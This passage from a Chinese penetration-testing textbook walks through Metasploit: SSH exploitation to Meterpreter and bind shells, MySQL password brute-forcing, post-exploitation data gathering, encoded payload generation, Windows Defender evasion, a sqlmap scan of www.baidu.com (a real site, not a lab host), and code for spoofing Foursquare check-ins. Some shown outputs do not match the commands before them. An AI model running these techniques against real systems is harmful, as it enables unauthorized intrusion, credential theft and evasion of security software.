Check supported:                                            #是否支持检测

  No

Basic options:                                            #基本选项

  Name   Current Setting  Required      Description

  ----   ---------------  --------      ------------

  PASSWORD                     yes              The password to authenticate with.

  RHOSTS                        yes              The target address range or CIDR 

  identifier

  RPORT      22                 yes              The target port (TCP)

  SRVHOST   0.0.0.0           yes              The local host to listen on. This must 

  be an address on the local machine or 0.0.0.0

  SRVPORT   8080               yes              The local port to listen on.

  SSL        false               no                Negotiate SSL for incoming connections

  SSLCert                       no               Path to a custom SSL certificate 

  (default is randomly generated)

  URIPATH                       no               The URI to use for this exploit 

  (default is random)

  USERNAME  root               yes              The user to authenticate as.

  Payload information:                                    #Payload信息

  Space: 4096

  Avoid: 0 characters

Description:                                                #描述

  This module connects to the target system and executes the necessary 

  commands to run the specified payload via SSH. If a native payload 

  is specified, an appropriate stager will be used.

References:                                                #参考

  http://cvedetails.com/cve/1999-0502/




 
以上显示了multi/ssh/sshexec模块的详细信息，这些信息中包含了对各个参数的说明。其中，每部分的详细信息，都已添加注释。
 
（3）查看所有可配置的选项参数。执行命令如下：
 


msf5 exploit(sshexec) > show options 

Module options (exploit/multi/ssh/sshexec):

   Name  Current Setting  Required     Description

   ----  ---------------  --------   ------------

   PASSWORD                    yes          The password to authenticate with.

   RHOSTS                       yes         The target address range or CIDR identifier

   RPORT       22               yes          The target port (TCP)

   SRVHOST   0.0.0.0          yes          The local host to listen on. This must be 

   an address on the local machine or 0.0.0.0

   SRVPORT   8080             yes          The local port to listen on.

   SSL       false           no           Negotiate SSL for incoming connections

   SSLCert                      no           Path to a custom SSL certificate (default 

   is randomly generated)

   URIPATH                      no           The URI to use for this exploit(default is 

   random)

   USERNAME  root           yes          The user to authenticate as.

Exploit target:

   Id  Name

   --  -------------------

   0   Linux x86




 
从输出信息中，可以看到该模块有5个必须配置选项。所以，接下来将配置这些选项参数。
 
（4）配置选项参数。执行命令如下：
 


msf5 exploit(sshexec) > set RHOSTS 192.168.1.106            #设置目标主机

RHOST => 192.168.1.106

msf5 exploit(sshexec) > set PASSWORD msfadmin                #设置密码

PASSWORD => msfadmin

msf5 exploit(sshexec) > set USERNAME msfadmin                #设置用户名

USERNAME => msfadmin




 
将以上选项参数配置完成后，即可实施渗透攻击。
 
[image: ]提示：当用户使用set命令后，发现设置错误了，此时可以使用unset重新设置。另外，与set类似功能的还有一个命令是setg。不同的是，setg是一个全局变量设置。使用该命令设置后再使用save命令保存，以后该漏洞就不用再设置了，以免做重复的渗透工作。当然，如果设置错误了，也可以使用unsetg命令来重新设置。但需要注意的是，如果对某一个模块设置了全局变量，那么以后使用这个模块的时候请检查Option选项，以免出错。
 
（5）实施渗透攻击。执行命令如下：
 


msf5 exploit(sshexec) > exploit 

[*] Started reverse TCP handler on 192.168.1.105:4444

[*] 192.168.1.103:22 - Sending stager...

[*] Command Stager progress -  39.42% done (274/695 bytes)

[*] Transmitting intermediate stager for over-sized stage...(105 bytes)

[*] Sending stage (1495599 bytes) to 192.168.1.103

[*] Command Stager progress - 100.00% done (695/695 bytes)

[*] Meterpreter session 1 opened (192.168.1.105:8080 -> 192.168.1.103:51870) 

at 2017-05-07 18:58:28 +0800

meterpreter >


 
从输出的信息中可以看到，成功建立了一个Meterpreter会话。由此，可以说明已成功对目标主机实施渗透攻击。
 
[image: ]提示：当用户进入一个漏洞模块的设置时，想重新选择一个漏洞模块，可以使用back命令来实现。
3.5.3　辅助模块（Auxiliary）
 
辅助模块主要用来执行一些诸如扫描或系统查询的攻击动作。辅助模块除了提供一些实用的侦查工具外，如端口扫描器、服务指纹截取器等，还包含类似mysql_login的工具，它能够使用一个用户名和口令列表对整个网络上的MySQL服务进行暴力口令破解。此外还有一些协议Fuzz测试工具，如ftp_pre_post、http_get_uri_long、ssh_version_corrupt等。渗透测试者可以对一些特定的目标服务执行这些Fuzz测试器，并很有可能会有一些意外收获。下面介绍辅助模块的使用。
 
同样，用户可以使用show auxiliary命令查看所有辅助模块。Metasploit的辅助模块和渗透攻击模块的使用类似，只需要简单地输入use命令并跟上模块名字即可。例如，使用webdav_scanner模块，则输入命令如下：
 


msf5 > use auxiliary/scanner/http/webdav_scanner




 
[image: ]提示：在辅助模块中，一些基本参数同其他模块有一些细微差别。例如，RHOST参数主要用于定位多个目标主机，THREAD参数用来微调扫描速度等。
 
【实例3-3】利用mysql_login模块对目标主机（Metasploitable2）的MySQL数据库服务进行暴力破解。具体操作步骤如下：
 
（1）搜索mysql_login模块的全路径。执行命令如下：
 


msf5 > search mysql_login

Matching Modules

================

   Name       Disclosure    Date    Rank    Check     Description

   -----     -----------   -----   -----   ------    ------------

   auxiliary/scanner/mysql/mysql_login   normal  Yes   MySQL Login Utility




 
（2）选择mysql_login模块并查看该模块的可配置选项参数。执行命令如下：
 


msf5 > use auxiliary/scanner/mysql/mysql_login

msf5 auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name       Current Setting  Required            Description

---------

BLANK_PASSWORDS      false  no       Try blank passwords for all users

BRUTEFORCE_SPEED  5       yes   How fast to bruteforce, from 0 to 5

DB_ALL_CREDS       false  no       Try each user/password couple stored in the 

current database

DB_ALL_PASS          false  no       Add all passwords in the current database to 

the list

DB_ALL_USERS          false  no       Add all users in the current database to the 

list

PASSWORD                     no       A specific password to authenticate with

PASS_FILE                 no       File containing passwords, one per line

Proxies                         no    A proxy chain of format type:host: 

port[,type:host:port][...]

RHOSTS                     yes       The target address range or CIDR identifier

RPORT            3306     yes       The target port (TCP)

STOP_ON_SUCCESS    false     yes       Stop guessing when a credential works for 

a host

THREADS              1         yes       The number of concurrent threads

USERNAME                     no       A specific username to authenticate as

USERPASS_FILE             no       File containing users and passwords 

separated by space, one 

                                   pair per line

USER_AS_PASS         true     no       Try the username as the password for all 

users

USER_FILE                 no       File containing usernames, one per line

VERBOSE             true     yes       Whether to print output for all attempts




 
（3）配置mysql_login模块的选项参数。执行命令如下：
 


msf5 auxiliary(mysql_login) > set RHOSTS 192.168.1.102

RHOST => 192.168.1.102

msf5 auxiliary(mysql_login) > set THREADS 10

THREADS => 10

msf5 auxiliary(mysql_login) > set user_file /root/usernames.txt

user_file => /root/usernames.txt

msf5 auxiliary(mysql_login) > set pass_file /root/passwords.txt

pass_file => /root/passwords.txt




 
以上信息设置了目标系统的地址，用户文件和密码文件的路径。其中，这里的RHOSTS参数可以设置为IP地址、IP地址列表、IP地址段或CIDR地址块。
 
注意：在以上命令中，usernames.txt和passwords.txt文件不是默认保存在系统中的。这里指定的用户名和密码文件是笔者手动创建的，并且被保存到/root目录中。
 
（4）实施渗透攻击。执行命令如下：
 


msf5 auxiliary(mysql_login) > run

[*] 192.168.1.102:3306    - 192.168.1.102:3306 MYSQL - Found remote MySQL 

version 5.0.51a

[!] 192.168.1.102:3306    - No active DB -- Credential data will not be saved!

[-] 192.168.1.102:3306    - 192.168.1.102:3306 MYSQL - LOGIN FAILED: sa:sa 

(Incorrect: Access denied for user 'sa'@'192.168.1.105' (using password: YES))

[-] 192.168.1.102:3306    - 192.168.1.102:3306 MYSQL - LOGIN FAILED: sa:bob 

(Incorrect: Access denied for user 'sa'@'192.168.1.105' (using password: YES))

[-] 192.168.1.102:3306    - 192.168.1.102:3306 MYSQL - LOGIN FAILED: sa:ftp 

(Incorrect: Access denied for user 'sa'@'192.168.1.105' (using password: YES))

[-] 192.168.1.102:3306    - 192.168.1.102:3306 MYSQL - LOGIN FAILED: sa: 

(Incorrect: Access denied for user 'sa'@'192.168.1.105' (using password: NO))

...

[+] 192.168.1.102:3306    - 192.168.1.102:3306 MYSQL - Success: 'root:'

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed




 
输出的信息是渗透攻击的一个过程，尝试使用指定的用户名/密码文件中的用户名和密码连接MySQL服务器。在渗透攻击过程中，Metasploit会尝试输入用户名和密码文件包含的用户名和密码组合。从输出的信息中可以看到，已测试出MySQL数据库服务器的用户名为root，密码为空。
3.5.4　后渗透攻击模块（Post）
 
后渗透攻击模块是指在获得meterpreter的Shell之后使用的攻击代码，如常用的hashdump、arp_scanner等。同样，用户可以使用show post命令查看所有的后渗透攻击模块。下面介绍后渗透攻击模块的使用。
 
【实例3-4】以3.5节获取到的Meterpreter会话为基础，使用linux/gather/enum_system模块获取目标主机的系统信息。执行命令如下：
 


meterpreter > run post/linux/gather/enum_system

[+] Info:

[+]                     _                  _       _ _        _     _      ____  _ __ 

___  ___||_ __ _ ___ _ __||___(_)|_ __ _||__||___|___\|'_ ` _\/_\__/_`/_

_|'_\||/_\||__/_`|'_\||/_\__)|||||||__/||(_|\__\|_)||(_)||||(_|||_)||__// 

__/|_||_||_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|___

__||_|                                          Warning: Never expose this VM to 

an untrusted network!Contact: msfdev[at]metasploit.comLogin with msfadmin/

msfadmin to get started

[+]     Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 

2008 i686 GNU/Linux

[+]     Module running as "msfadmin" user

[*] Linux version stored in /root/.msf4/loot/20170507105056_default_192.

168.1.102_linux.enum.syste_079483.txt

[*] User accounts stored in /root/.msf4/loot/20170507105056_default_192.

168.1.102_linux.enum.syste_907360.txt

[*] Installed Packages stored in /root/.msf4/loot/20170507105056_default_

192.168.1.102_linux.enum.syste_803673.txt

[*] Running Services stored in /root/.msf4/loot/20170507105056_default_

192.168.1.102_linux.enum.syste_706465.txt

[*] Cron jobs stored in /root/.msf4/loot/20160521105056_default_192.168.

1.102_linux.enum.syste_392162.txt

[*] Disk info stored in /root/.msf4/loot/20160521105056_default_192.168.

1.102_linux.enum.syste_276139.txt

[*] Logfiles stored in /root/.msf4/loot/20160521105056_default_192.168.

1.102_linux.enum.syste_435009.txt

[*] Setuid/setgid files stored in /root/.msf4/loot/20170507105056_default_

192.168.1.102_linux.enum.syste_903365.txt




 
从以上输出的信息中可以看到，目标主机的系统类型为Linux metasploitable，内核版本为2.6.24-16-server，运行该模块的用户为msfadmin。而且，该模块将目标主机的版本、账号、日志文件等都保存在/root/.msf4/loot目录中了。
3.5.5　攻击载荷（Payloads）
 
攻击载荷是指用户希望对目标系统攻击成功之后去执行的代码。例如，创建一个Meterpreter连接或者通过绑定到一个监听端口，来获取Shell交互。用户也可以利用攻击载荷在目标操作系统上执行一些命令，如添加账号等。下面介绍攻击载荷的使用。
 
【实例3-5】使用linux/x86/shell/bind_tcp攻击载荷来取得一个Shell交互。具体操作步骤如下：
 
（1）攻击载荷是渗透攻击成功后执行的代码。所以，如果要使用攻击载荷，需要先选择一个渗透攻击模块才可以。下面仍然使用multi/ssh/sshexec渗透攻击模块。当实施攻击成功后，通过linux/x86/shell/bind_tcp攻击载荷来获得与目标主机的Shell交互。选择渗透攻击模块，如下所示：
 


msf5 > use exploit/multi/ssh/sshexec 




 
（2）加载攻击载荷。执行命令如下：
 


msf5 exploit(sshexec) > set payload linux/x86/shell/bind_tcp

payload => linux/x86/shell/bind_tcp




 
（3）查看模块的配置选项参数。执行命令如下：
 


msf5 exploit(sshexec) > show options 

Module options (exploit/multi/ssh/sshexec):

   Name    Current Setting    Required     Description

   ----    ---------------    --------     -------------

   PASSWORD                     yes           The password to authenticate with.

   RHOSTS                       yes           The target address range or CIDR 

                                            identifier

   RPORT       22                  yes           The target port (TCP)

   SRVHOST   0.0.0.0           yes           The local host to listen on. This must 

be an address on the local machine or 0.0.0.0

   SRVPORT   8080              yes           The local port to listen on.

   SSL       false                no            Negotiate SSL for incoming 

connections

   SSLCert                        no            Path to a custom SSL certificate 

(default is randomly generated)

   URIPATH                      no            The URI to use for this exploit 

(default is random)

   USERNAME  root              yes           The user to authenticate as.

Payload options (linux/x86/shell/bind_tcp):

   Name        Current Setting         Required       Description

   ----        ---------------         --------       -------------

   LPORT      4444                     yes           The listen port

   RHOST                          no            The target address

Exploit target:

   Id  Name

   --  ----------------

   0   Linux x86




 
从以上显示的信息中可以看到有需要配置的选项参数。接下来，对该模块的选项参数进行配置。
 
（4）配置选项参数。执行命令如下：
 


msf5 exploit(sshexec) > set RHOSTS 192.168.1.105

RHOST => 192.168.1.106

msf5 exploit(sshexec) > set PASSWORD 123456

PASSWORD => msfadmin




 
（5）实施渗透攻击。执行命令如下：
 


msf5 exploit(sshexec) > exploit 

[*] Started bind handler

[*] 192.168.1.105:22 - Sending stager...

[*] Command Stager progress -  42.09% done (306/727 bytes)

[*] Sending stage (36 bytes) to 192.168.1.105

[*] Command Stager progress - 100.00% done (727/727 bytes)

[*] Command shell session 1 opened (192.168.1.108:40102 -> 192.168.1.

105:4444) at 2017-05-07 11:20:40 +0800




 
从以上输出的最后一行信息中可以看到成功获取到一个Command shell会话，而没有看到显示的任何命令行提示符。由此可以说明，已成功取得了与目标主机的Shell交互。此时，用户即可像在目标主机的命令行终端一样，运行Linux下支持的所有命令。例如，查看当前目录中的所有文件。执行命令如下：
 


ls -l                                    #查看当前目录中的所有文件




 
执行以上命令后，将看到如下信息。
 


total 31148

-rwxrw-rw-. 1 root root 31762720 May 11 10:57 Nessus-6.6.2-es6.x86_64.rpm

-rw-------. 1  root root     2616 Mar 25 00:46 anaconda-ks.cfg

-rw-r--r--. 1  root root    65409 Mar 25 00:46 install.log

-rw-r--r--. 1  root root    13554 Mar 25 00:44 install.log.syslog

-rwxr-xr-x. 1 root root     5394 May 14 14:54 msfinstall

drwxr-xr-x. 2 root root     4096 May 11 17:39 下载

drwxr-xr-x. 2 root root     4096 Mar 25 17:20 公共的

drwxr-xr-x. 2 root root     4096 Mar 25 17:20 图片

drwxr-xr-x. 2 root root     4096 Mar 25 17:20 文档

drwxr-xr-x. 2 root root     4096 May 14 14:53 桌面

drwxr-xr-x. 2 root root     4096 Mar 25 17:20 模板

drwxr-xr-x. 2 root root     4096 Mar 25 17:20 视频

drwxr-xr-x. 2 root root     4096 Mar 25 17:20 音乐




 
以上输出的结果显示当前目录下的所有文件信息。例如，查看下当前登录系统的用户信息。执行命令如下：
 


id                                                #查看当前用户信息

uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:

unconfined_t:s0-s0:c0.c1023




 
从输出的信息中可以看到，目标主机正在使用root用户进行操作。
3.5.6　nops模块
 
NOP（No Operation or Next Operation）sled，由于IDS/IPS会检查数据包中不符合规则的数据，所以在某些场合下（比如针对溢出攻击），某些特殊的字符串（NOPS\x90\x90...）会因为被拦截而导致攻击失效，此时需要修改exploit中的NOPs。nops文件夹下的内容会在Payload（攻击载荷）生成时用到。例如，这里将打开PHP的NOPs生成脚本，会发现它只是返回了指定长度的空格而已，如图3.6所示。
 
 
 [image: ] 


图3.6　NOPs生成脚本
 
在Metasploit中NOPs类模块共提供了8个。其中每个模块的名称及描述如表3.1所示。
 
表3.1　NOPs类模块

 
 [image: ]

3.5.7　编码模块（Encoders）
 
编码模块主要是供msfvenom工具进行编码时使用。其中，所有的编码类模块及描述如表3.2所示。
 
表3.2　所有编码模块

 
 [image: ]

 

 [image: ]

 
【实例3-6】使用x86/shikata_ga_nai编码创建攻击载荷。执行命令如下：
 


[root@RHEL bin]# ./msfvenom -p windows/meterpreter/bind_tcp RHOST=192.168.

1.104 --platform windows -a x86 -e x86/shikata_ga_nai -f exe > msf.exe

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 326 (iteration=0)

x86/shikata_ga_nai chosen with final size 326

Payload size: 326 bytes


 
从以上输出的信息中可以看到，成功使用x86/shikata_ga_nai编码创建了一个攻击载荷。其中，该攻击载荷文件为msf.exe。关于创建攻击载荷的方法，在前面章节已有详细介绍，这里不再赘述。
3.5.8　插件（Plugins）
 
Metasploit不仅提供了大量的模块，而且还支持一些插件的使用，如Nessus、OpenVAS、wmap等。下面将介绍Metasploit中插件的使用方法。
 
在Metasploit的命令行终端（MSF）下运行load命令，即可查看加载插件的方法。具体如下：
 


msf5 > load 

Usage: load <option> [var=val var=val ...]

Loads a plugin from the supplied path.

For a list of built-in plugins, do: load -l

For a list of loaded plugins, do: load -s

The optional var=val options are custom parameters that can be passed to 

plugins.


 
从输出的信息中可以看到加载插件的语法格式。这些插件都是一些可执行的Ruby脚本，默认保存在/usr/share/metasploit-framework/plugins下。用户还可以自己创建插件，或者从第三方获取，然后将这些插件脚本文件复制到/root/.msf4/plugins目录中，之后重新启动Metasploit即可使用新导入的插件。其中，Metasploit默认提供的一些插件如表3.3所示。
 
表3.3　默认插件

 
 [image: ]

 
用户在加载插件之前，可以使用load-s命令查看其插件是否已经加载。如果已经加载的话，则不需要加载。如果没有加载，则使用load命令加载。执行命令如下：
 


msf5 > load -s

Nessus




 
从输出的信息中可以看到，当前已经加载了Nessus插件。
 
【实例3-7】下面将介绍在Metasploit中使用SQLmap插件，实施SQL注入。具体操作步骤如下：
 
（1）加载SQLmap插件。执行命令如下：
 


msf5 > load sqlmap 

[*] Sqlmap plugin loaded

[*] Successfully loaded plugin: Sqlmap




 
从输出的信息中可以看到，成功加载了插件SQLmap。在使用该插件之前，用户可以使用help sqlmap命令查看该插件支持的所有命令。具体如下：
 


msf5 > help sqlmap

Sqlmap Commands

===============

    Command                       Description

    --------                    -----------

    sqlmap_connect             sqlmap_connect <host> [<port>]

    sqlmap_get_data            Get the resulting data of the task

    sqlmap_get_log             Get the running log of a task

    sqlmap_get_option          Get an option for a task

    sqlmap_get_status          Get the status of a task

    sqlmap_list_tasks          List the knows tasks. New tasks are not stored 

    in DB, so lives as long as the console does

    sqlmap_new_task            Create a new task

    sqlmap_save_data           Save the resulting data as web_vulns

    sqlmap_set_option          Set an option for a task

    sqlmap_start_task          Start the task




 
从以上输出信息可以看到，支持的所有命令。接下来介绍该插件的使用方法。
 
（2）启动sqlmapapi。在Metasploit中的Sqlmap插件依赖于sqlmapapi.py，在使用Sqlmap插件之前，需要启动sqlmapapi。执行命令如下：
 


root@daxueba:~# sqlmapapi -s -p 8775

[23:15:31] [INFO] Running REST-JSON API server at '127.0.0.1:8775'..

[23:15:31] [INFO] Admin ID: f45dca7542f65301619a5b93722a9bdf

[23:15:31] [DEBUG] IPC database: '/tmp/sqlmapipc-NdICpp'

[23:15:31] [DEBUG] REST-JSON API server connected to IPC database

[23:15:31] [DEBUG] Using adapter 'wsgiref' to run bottle




 
以上输出信息表示成功启动了sqlmapapi，其监听地址为127.0.0.1：8775。接下来，就可以使用Sqlmap插件实施注入了。
 
（3）使用sqlmap_connect命令连接到sqlmapapi。执行命令如下：
 


msf5 > sqlmap_connect 127.0.0.1

[+] Set connection settings for host 127.0.0.1 on port 8775




 
从输出的信息可以看到，已成功连接到运行sqlmapapi的主机。
 
（4）创建一个新的任务。执行命令如下：
 


msf5 > sqlmap_new_task 

[+] Created task: 1




 
从输出的信息可以看到，已创建了一个任务，其ID号为1。
 
（5）启动新建的任务。执行命令如下：
 


msf5 > sqlmap_start_task 1 'www.baidu.com'

[*] Started task: true




 
从输出的信息可以看到，已成功启动了任务。为了确定其扫描任务是否成功执行，可以查看任务列表。执行命令如下：
 


msf5 > sqlmap_list_tasks 

[+] Task ID: 1




 
从输出的信息可以看到，当前运行的任务ID为1。由此可以说明，已成功启动了扫描任务。此时，用户还可以查看扫描状态。执行命令如下：
 


msf5 > sqlmap_get_status 1

[*] Status: terminated




 
从输出的信息可以看到，扫描状态为terminated，表示扫描完成。如果没有完成扫描的话，其状态显示为running（正在运行）。
 
（6）获取扫描的漏洞信息。执行命令如下：
 


msf5 > sqlmap_get_data 1

[*] URL: www.baidu.com

Title  Payload

-----  -------




 
从输出的信息可以看到，扫描的Web站点为www.baidu.com。但是没有获取到任何漏洞信息。此时可以使用sqlmap_get_log命令查看扫描任务运行的日志信息。具体如下：
 


msf5 > sqlmap_get_log 1

[*] [23:19:06] INFO: testing connection to the target URL

[*] [23:19:06] INFO: checking if the target is protected by some kind of 

WAF/IPS

[*] [23:19:07] INFO: heuristics detected web page charset 'ascii'

[*] [23:19:07] CRITICAL: heuristics detected that the target is protected 

by some kind of WAF/IPS

[*] [23:19:07] WARNING: dropping timeout to 10 seconds (i.e. '--timeout=10')

[*] [23:19:07] INFO: testing if the target URL content is stable

[*] [23:19:07] WARNING: target URL content is not stable (i.e. content 

differs). sqlmap will base the page comparison on a sequence matcher. If 

no dynamic nor injectable parameters are detected, or in case of junk results, 

refer to user's manual paragraph 'Page comparison'

[*] [23:19:07] CRITICAL: no parameter(s) found for testing in the provided 

data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')




 
从输出的信息可以看到执行注入的相关日志信息。
3.5.9　规避模块（Evasion）
 
规避模块是在Metasploit 5中新增加的。用户可以使用规避模块来规避Windows Defender防火墙。Windows Defender是Windows系统自带的防火墙工具。它不仅可以扫描系统，还可以对系统进行实时监控。
 
当用户使用Metasploit实施渗透测试时，通过使用规避模块可以规避Windows Defender程序查杀。下面介绍这两个规避模块。
 
【实例3-8】使用windows/windows_defender_exe规避模块，生成一个Windows EXE文件来规避Windows Defender程序。具体操作步骤如下：
 
（1）查看规避模块。执行命令如下：
 


msf5 > show evasion

evasion

=======

   Name          Disclosure   Date    Rank    Check     Description

   ------       ----------   -----   -----   ------    -------------

   windows/windows_defender_exe     normal  No        Microsoft Windows 

   Defender Evasive Executable

   windows/windows_defender_js_h    normal  No        Microsoft Windows 

   Defender Evasive JS.Net and HTA




 
从输出的信息可以看到，有两个规避模块，即windows/windows_defender_exe和windows/windows_defender_js_hta。其中，windows/windows_defender_exe模块用来生成一个Windows EXE文件；windows/windows_defender_exe模块可以在目标主机上生成一个HTA文件和一个包括shellcode的JScript.NET文件。
 
（2）加载windows/windows_defender_exe模块，并查看其配置选项。执行命令如下：
 


msf5 > use windows/windows_defender_exe

msf5 evasion(windows/windows_defender_exe) > show options 

Module options (evasion/windows/windows_defender_exe):

   Name      Current Setting     Required   Description

   -----    ----------------    ---------  ------------

   FILENAME  MaqoKqwmIY.exe      yes         Filename for the evasive file 

   (default: random)

Evasion target:

   Id  Name

   --  ----

   0   Microsoft Windows




 
从输出的信息可以看到，该模块只有一个配置参数FILENAME，用来设置生成的规避文件名。默认情况下，随机生成一个文件。其中，当前的设置为MaqoKqwmIY.exe。
 
（3）生成一个规避文件。执行命令如下：
 


msf5 evasion(windows/windows_defender_exe) > run

[*] Compiled executable size: 4096

[+] MaqoKqwmIY.exe stored at /root/.msf4/local/MaqoKqwmIY.exe




 
从输出的信息可以看到，成功生成了规避文件MaqoKqwmIY.exe。该文件默认保存在/root/.msf4/local/目录中。
3.6　模块扩展
 
Metasploit默认已经提供了大量的模块。但是，对于一些漏洞，可能没有对应的渗透攻击模块。这时，用户可以自己创建或者从第三方获取，并将其导入Metasploit中使用。本节介绍模块扩展。
3.6.1　创建自己的模块
 
作为一名渗透测试者，会频繁地遇到需要攻击某些应用程序，然而在Metasploit中却没有相应渗透攻击模块的情况。这时候，用户可以尝试自己来发掘这些应用程序中的漏洞，并为它们编写属于自己的渗透代码。下面介绍如何创建自己的模块。
 
1．分析模块的结构
 
在Metasploit中，所有模块都是使用Ruby语言编写的。而很多用户可能都不会编程语言，不过也不用担心，用户可以直接使用已有的一些模块作为模板，然后对模板文件进行稍微修改即可成为自己的模块。这里最主要的是，如果要编写自己的模块，则需要对Metasploit中模块脚本的结构有一个清晰的认识。下面将以克里斯·盖茨（Chris Gates）编写的一个辅助模块（foursquare）为例，对其进行一个详细的分析。用户可以在https://code.google.com/archive/p/carnal0wnage/source/default/source查看该模块脚本的源代码。这里先查看该模块的实际脚本代码，并分解各个代码模块。
 


##

# This file is part of the Metasploit Framework and may be subject to 

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##




 
以上为一些注释信息，是对该模块文件的一个描述。接下来，就是代码的实际内容了：
 


require 'msf/core'

class Metasploit3 < Msf::Auxiliary                    #导入了辅助模块分类

    # Exploit mixins should be called first

    include Msf::Exploit::Remote::HttpClient            #启用了HTTP客户端功能

    include Msf::Auxiliary::Report




 
以上最前面两行代码表示导入了辅助模块分类，然后在脚本中启用了Metasploit框架内的HTTP客户端功能。
 


    def initialize                                    #初始化构造函数

        super(                                        #定义模块的描述信息

            'Name'            => 'Foursquare Location Poster',        #名称

            'Version'         => '$Revision:$',                        #版本

            'Description'    => 'Fuck with Foursquare, be anywhere you want to 

            be by venue id',                            #描述

            'Author'        => ['CG'],                    #作者

            'License'    => MSF_LICENSE,                    #许可协议

            'References'    =>                        #参考信息

                 [

                 [ 'URL', 'http://groups.google.com/group/foursquare-api' ],

                     ['URL','http://www.mikekey.com/im-a-foursquare-cheater/'],

                ]

        )

#todo pass in geocoords instead of venueid, create a venueid, other tom 

foolery

        register_options(                            #对模块运行时的参数进行了定义

             [

                Opt::RHOST('api.foursquare.com'),    #目标地址

                OptString.new('VENUEID',[true,'foursquare venueid','185675']), 

                #Louve Paris France

                OptString.new('USERNAME', [ true, 'foursquare username', 

                'username']),                        #用户名

                OptString.new('PASSWORD', [ true, 'foursquare password', 

                'password']),                        #密码

            ], self.class)

    

    end




 
以上代码主要包括两部分。第一部分是在初始化构造函数中，定义了关于本模块的一些描述信息。在MSF终端中输入info命令时，这些信息会显示出来。第二部分主要对模块运行时要用到的多个参数进行了定义，并在这里定义它们是否为必填参数。所有的代码都非常简单，它们的功能也很明确。但是还没有接触到模块的逻辑流程部分。下面进行深入介绍。
 


    def run                                        #调用run函数 

        begin

            user = datastore['USERNAME']

            pass = datastore['PASSWORD']

            venid = datastore['VENUEID']

            user_pass = Rex::Text.encode_base64(user + ":" + pass)

            decode = Rex::Text.decode_base64(user_pass)

            postrequest = "twitter=1\n" #add facebook=1 if you want facebook

            print_status("Base64 Encoded User/Pass: #{user_pass}") #debug

            print_status("Base64 Decoded User/Pass: #{decode}") #debug

            res = send_request_cgi({        #使用send_request_cgi方法创建对象

            'uri'     => "/v1/checkin?vid=#{venid}",

            'version'    => "1.1",

            'method'  => 'POST',

            'data'   => postrequest,

            'headers' =>

                {

                    'Authorization' => "Basic #{user_pass}",

                    'Proxy-Connection' =>  "Keep-Alive",

                    }

            }, 25)




 
以上是该脚本中实际的逻辑流程部分，也就是当run函数被调用后发生的一些列事情。首先将输入的参数传递到局部变量中，同时定义一些其他的对象。然后使用send_request_cgi方法创建一个对象。这个方法是由lib/msf/core/exploit/http.rb导入脚本中的。该方法定义了它的功能描述是“连接到服务器，创建一个请求，发送请求，最后读取服务器返回的信息”。如本例所示，使用这个方法需要多个参数，它会连接到实际的远程服务器上。创建该对象后，将服务器返回的信息显示出来。对应的代码如下：
 


            print_status("#{res}") #this outputs entire response, could 

            probably do without this but its nice to see whats going on

            end




 
如果执行过程中发生错误。以下是对错误处理的逻辑判断。
 


        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::

        ConnectionTimeout

        rescue ::Timeout::Error, ::Errno::EPIPE =>e

            puts e.message

    end

end




 
以上是对错误处理的逻辑判断，它将错误信息报告给使用者。代码中的逻辑非常简单，实际上是将Metasploit框架所提供的各种功能拼接起来。这个例子很好地展示了Metasploit框架的强大功能，使用这个框架进行开发时，用户只需要关注为了达到目标所需的各种信息，而不必关心如何进行错误处理，如何管理网络连接，等等。
 
2．创建并使用自己的模块
 
当用户对Metasploit模块的结构有一个清晰的认识后，也就可以尝试着编写自己的模块了。用户可以直接在网上找一些模块作为模板文件进行编写，如GitHub。或者，直接复制Metasploit默认的模块作为模板文件。
 
当用户创建好自己的模块后，将该块存放在Metasploit用户的辅助模块目录下，以便能够在Metasploit环境中使用它。其中，Metasploit默认将用户的模块位置设置为/root/.msf4/modules。不同操作系统msf版本不同，则该文件夹的名称也不同。在一些系统中，可能是/root/.msf、/root/.msf3、/root/.msf4等。此时，用户可以根据模块的功能，创建一个完整路径来保存该模块。下面以foursquare模块为例，演示它的使用。用户通过前面给的网址，获取foursquare模块的脚本文件。然后，创建模块存放位置。如下所示：
 


root@kali:~# cd /root/.msf4/modules/

root@kali:~/.msf4/modules# mkdir -p auxiliary/admin/random




 
接下来，将下载的模块文件复制到auxiliary/admin/random目录中。如下所示：
 


root@kali:~/.msf4/modules# cp /root/foursquare.rb /root/.msf4/modules/

auxiliary/admin/random/




 
接下来，重新启动Metasploit即可加载自己创建的模块。在使用该模块之前，如果不记得该模块的完整路径，则可以先使用search命令进行查找。如下所示：
 


msf5 > search foursquare                            #搜索模块的完整路径

Matching Modules

================

   Name         Disclosure      Date       Rank      Check      Description

   -----       -----------     -----      -----     ------     ------------

   auxiliary/admin/random/foursquare  normal  No  Foursquare Location Poster




 
从输出的信息中可以看到，foursquare模块的完整路径为auxiliary/admin/random/foursquare。此时，即可使用该模块了。代码如下：
 


msf5 > use auxiliary/admin/random/foursquare             #使用模块

msf5 auxiliary(foursquare) > info                         #查看模块的详细信息

       Name: Foursquare Location Poster

     Module: auxiliary/admin/random/foursquare

    License: Metasploit Framework License (BSD)

       Rank: Normal

Provided by:

  CG <cg@carnal0wnage.com>

Basic options:

  Name     Current Setting   Required     Description

  ----    ----------------   --------     -----------

  PASSWORD     password            yes            foursquare password

  Proxies                        no            A proxy chain of format type:host:

port[,type:host:port][...]

  RHOST   api.foursquare.com yes          The target address

  RPORT         80                    yes           The target port (TCP)

  USERNAME      username            yes           foursquare username

  VENUEID       185675               yes           foursquare venueid

  VHOST                            no            HTTP server virtual host

Description:

  Fuck with Foursquare, be anywhere you want to be by venue id

References:

  http://groups.google.com/group/foursquare-api

  http://www.mikekey.com/im-a-foursquare-cheater/




 
以上操作显示，先使用use命令选择该模块，然后使用info命令查看了模块的详细信息。接下来，根据信息中提供的参数列表，对该模块进行配置。配置完成后，即可实施渗透攻击。
3.6.2　导入第三方模块
 
